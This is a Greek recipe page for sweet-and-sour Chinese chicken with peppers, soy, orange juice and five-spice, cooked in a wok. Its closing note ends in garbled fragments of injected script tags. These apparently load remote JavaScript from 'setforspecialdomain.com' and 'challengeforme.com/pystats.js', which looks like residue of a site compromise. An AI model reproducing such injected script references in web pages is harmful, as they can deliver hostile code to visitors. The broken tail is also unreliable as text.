Μια συνταγή για γλυκόξινο κινέζικο κοτόπουλο με πολλά αλλά απλά υλικά, που θα σας οδηγήσει σε μια πανδαισία γεύσεων! Κυριαρχούν οι πιπεριές αλλά και ο χυμός πορτοκάλι.

Υλικά (Σερβίρει 4)

• 1 Κιλό κοτόπουλο στήθος
• 5 Κ. σούπας καλαμποκέλαιο
• 1 πιπεριά (πράσινη καυτερή ψιλοκομμένη)
• 2 πιπεριές (σε λωρίδες)
• 8 κρεμμυδάκια (φρέσκα ψιλοκομμένα)
• Για την σάλτσα
• 2 κ. σούπας Worcestershire sauce
• 4 κ. σούπας μαύρη σόγια σος ή 6 κ.σ Teriyaki sauce
• 4 κ. σούπας γλυκό κρασί ή σέρι
• 1 κ. γλυκού Ζάχαρη
• 1 φ. τσαγιού χυμό πορτοκαλιού
• 1 φ. τσαγιού Ζωμό κότας ( κύβος Κνορ)
• 1 κ. γλυκού σκόνη 5 Spices

Εκτέλεση συνταγής

Πλύνετε καλά το κοτόπουλο και κόψτε το σε μικρά κομματάκια.

Αλατοπιπερώστε τα.

Βάλτε το λάδι στο γουόκ ,να κάψει.

Σοτάρετε το κοτόπουλο 8’.

Προσθέστε τις πιπεριές,τα κρεμμυδάκια κ ανακατέψτε για 3’.

Αδειάστε μέσα όλα τα υλικά της σάλτσας κ ανακατέψτε καλά.
Αφήστε το κοτόπουλο να σιγοβράσει 30’ μέχρι να μείνει ελάχιστο ζουμί.

Καλή όρεξη.

Σημειώσεις συνταγής

Το κινέζικο κοτόπουλο ταιριάζει τέλεια με ρύζι Basmati!!___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >